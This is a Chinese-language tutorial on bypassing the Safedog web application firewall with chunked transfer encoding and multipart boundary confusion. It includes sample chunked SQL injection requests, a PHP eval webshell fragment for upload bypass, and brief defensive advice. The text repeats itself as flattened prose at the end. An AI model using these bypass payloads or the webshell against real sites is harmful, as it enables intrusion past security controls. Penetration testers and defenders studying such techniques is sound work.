waf绕过--打狗棒法
字数 1327 2025-08-06 18:07:51

WAF绕过技术:分块传输与边界混淆详解

0x01 前言

安全狗WAF是目前较为常见的Web应用防火墙,随着版本更新其防护能力也在不断增强。本文介绍两种有效的WAF绕过技术:分块传输编码和Content-Type边界混淆,适用于POST请求的SQL注入和文件上传绕过场景。

0x02 HTTP协议关键知识点

分块传输编码(Transfer-Encoding: chunked)

  1. 基本概念

    • HTTP协议中的数据传输机制,允许将响应数据分成多个部分发送
    • 通过消息头Transfer-Encoding: chunked启用
    • 由多个chunk组成,最后一个chunk大小为0表示结束
  2. chunk格式

    [长度(16进制)];[可选参数]\r\n
    [数据内容]\r\n
    0\r\n\r\n
    
  3. 重要特性

    • 启用后Content-Length头部会被忽略
    • 支持动态内容推送
    • 每个chunk长度声明可以附加无关参数(如3;random=123)

HTTP持久化连接

  • HTTP/1.1默认使用持久化连接
  • 除非显式设置Connection: close
  • 减少了TCP连接建立/断开的开销

Content-Type详解

  1. multipart/form-data

    • 用于文件上传等场景
    • 使用boundary分隔不同部分
    • 格式示例:
      Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
      
  2. boundary规则

    • 开始boundary:--[boundary字符串]
    • 结束boundary:--[boundary字符串]--
    • 可以包含多个boundary定义(仅第一个有效)
    • 结束boundary可以与开始boundary不一致

0x03 WAF绕过技术实战

SQL注入绕过(以安全狗为例)

  1. 基本方法

    • 添加Transfer-Encoding: chunked头部
    • 将payload分块传输
    • 示例分块payload:
      3
      %27
      2
      un
      1
      i
      2
      on
      ...
      0
      
  2. 分块技巧

    • 将敏感关键词拆分到不同chunk
    • 每个chunk长度声明后添加无关参数
    • 修改Content-Length值干扰WAF
  3. 完整示例

    POST /vuln.php HTTP/1.1
    Transfer-Encoding: chunked
    
    1
    u
    4
    name
    1
    =
    1
    &
    2
    pa
    4
    sswd
    1
    =
    3;x=1
    %27
    2;y=2
    un
    ...
    0
    

文件上传绕过

  1. 分块传输方法

    • 将文件内容分块传输
    • 注意计算包含换行符的字符数
    • 示例:
      10
      <?php eval(
      5
      $_POST[
      1
      x
      1
      ]
      ...
      0
      
  2. boundary混淆技术

    • 在boundary后添加无关参数:
      boundary=----WebKitFormBoundaryABC123;x=1
      
    • 使用多个boundary定义(仅第一个有效)
    • 使结束boundary与开始boundary不一致
  3. 有效payload结构

    Content-Type: multipart/form-data; boundary=----ABC123;boundary=----XYZ456
    
    ----ABC123
    Content-Disposition: form-data; name="file"; filename="test.php"
    
    <?php phpinfo(); ?>
    ----XYZ456--
    

0x04 技术要点总结

  1. 分块传输优势

    • 有效绕过基于正则匹配的WAF规则
    • 可组合使用长度声明参数干扰
    • 适用于POST请求的多种攻击场景
  2. boundary混淆要点

    • WAF通常只检查第一个boundary定义
    • 结束boundary一致性检查不严格
    • 参数附加是有效的干扰手段
  3. 局限性

    • 主要适用于POST请求
    • 对GET请求效果有限
    • 需要服务端支持分块传输解码
  4. 防御建议

    • 服务端应验证分块传输的完整性
    • 严格检查boundary一致性
    • 对上传文件进行内容检测而非仅依赖WAF

0x05 参考文献

  1. HTTP协议分块传输编码规范
  2. multipart/form-data格式RFC文档
  3. 各类WAF产品绕过技术研究文章

通过深入理解HTTP协议细节并创造性应用这些特性,可以有效绕过许多基于模式匹配的WAF防护,这对渗透测试人员和防御方都具有重要参考价值。

WAF绕过技术:分块传输与边界混淆详解 0x01 前言 安全狗WAF是目前较为常见的Web应用防火墙,随着版本更新其防护能力也在不断增强。本文介绍两种有效的WAF绕过技术:分块传输编码和Content-Type边界混淆,适用于POST请求的SQL注入和文件上传绕过场景。 0x02 HTTP协议关键知识点 分块传输编码(Transfer-Encoding: chunked) 基本概念 : HTTP协议中的数据传输机制,允许将响应数据分成多个部分发送 通过消息头 Transfer-Encoding: chunked 启用 由多个chunk组成,最后一个chunk大小为0表示结束 chunk格式 : 重要特性 : 启用后Content-Length头部会被忽略 支持动态内容推送 每个chunk长度声明可以附加无关参数(如 3;random=123 ) HTTP持久化连接 HTTP/1.1默认使用持久化连接 除非显式设置 Connection: close 减少了TCP连接建立/断开的开销 Content-Type详解 multipart/form-data : 用于文件上传等场景 使用boundary分隔不同部分 格式示例: boundary规则 : 开始boundary: --[boundary字符串] 结束boundary: --[boundary字符串]-- 可以包含多个boundary定义(仅第一个有效) 结束boundary可以与开始boundary不一致 0x03 WAF绕过技术实战 SQL注入绕过(以安全狗为例) 基本方法 : 添加 Transfer-Encoding: chunked 头部 将payload分块传输 示例分块payload: 分块技巧 : 将敏感关键词拆分到不同chunk 每个chunk长度声明后添加无关参数 修改Content-Length值干扰WAF 完整示例 : 文件上传绕过 分块传输方法 : 将文件内容分块传输 注意计算包含换行符的字符数 示例: boundary混淆技术 : 在boundary后添加无关参数: 使用多个boundary定义(仅第一个有效) 使结束boundary与开始boundary不一致 有效payload结构 : 0x04 技术要点总结 分块传输优势 : 有效绕过基于正则匹配的WAF规则 可组合使用长度声明参数干扰 适用于POST请求的多种攻击场景 boundary混淆要点 : WAF通常只检查第一个boundary定义 结束boundary一致性检查不严格 参数附加是有效的干扰手段 局限性 : 主要适用于POST请求 对GET请求效果有限 需要服务端支持分块传输解码 防御建议 : 服务端应验证分块传输的完整性 严格检查boundary一致性 对上传文件进行内容检测而非仅依赖WAF 0x05 参考文献 HTTP协议分块传输编码规范 multipart/form-data格式RFC文档 各类WAF产品绕过技术研究文章 通过深入理解HTTP协议细节并创造性应用这些特性,可以有效绕过许多基于模式匹配的WAF防护,这对渗透测试人员和防御方都具有重要参考价值。